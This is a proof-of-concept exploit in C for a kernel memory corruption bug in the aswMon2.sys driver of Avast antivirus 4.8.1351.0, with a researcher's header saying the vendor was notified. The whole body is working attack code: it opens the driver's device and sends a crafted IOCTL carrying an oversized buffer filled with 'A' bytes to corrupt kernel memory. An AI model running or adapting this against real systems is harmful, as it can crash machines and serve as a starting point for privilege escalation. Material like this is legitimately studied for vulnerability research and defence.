| / * Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption*
 * Author: Giuseppe 'Evilcry' Bonfa'
 * E-Mail: evilcry _AT_ gmail _DOT_ com
 * Website: http://evilcry.netsons.org
 *          http://evilcodecave.blogspot.com
 *          http://evilfingers.com
 *
 * Vendor: Notified
 *
 * No L.P.E. for kiddies
 * /
 #define WIN32_LEAN_AND_MEAN#include < windows.h>
 #include < stdio.h>
 BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
 {
 WCHAR DeviceName[MAX_PATH];
 HANDLE hDevice;
         if ((GetVersion() & 0xFF) >= 5) {
 wcscpy(DeviceName, L"\\\\.\\Global\\");
 }
 else
 {
 wcscpy(DeviceName, L"\\\\.\\");
 }
         wcscat(DeviceName, DriverName);         printf("Opening.. %S\n", DeviceName);         hDevice = CreateFileW(DeviceName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL, NULL);
         if (hDevice == INVALID_HANDLE_VALUE){
 printf("CreateFile() ERROR %d\n", GetLastError());
 return FALSE;
 }
         *lphDevice = hDevice;        return TRUE;}
 int main(){
 HANDLE hDev = NULL;
 DWORD Junk;
         if(!OpenDevice(L"aswMon",&hDev)){
 printf("Unable to access aswMon");
 return(0);
 }
         char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         if (Buff){
 memset(Buff, 'A', 0x288);
 DeviceIoControl(hDev,0xB2C80018,Buff,
 0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL);
 printf("DeviceIoControl Executed..\n");
 }
 else
 {
 printf("VirtualAlloc() ERROR %d\n", GetLastError());
 }
 return(0);
 }
   
 |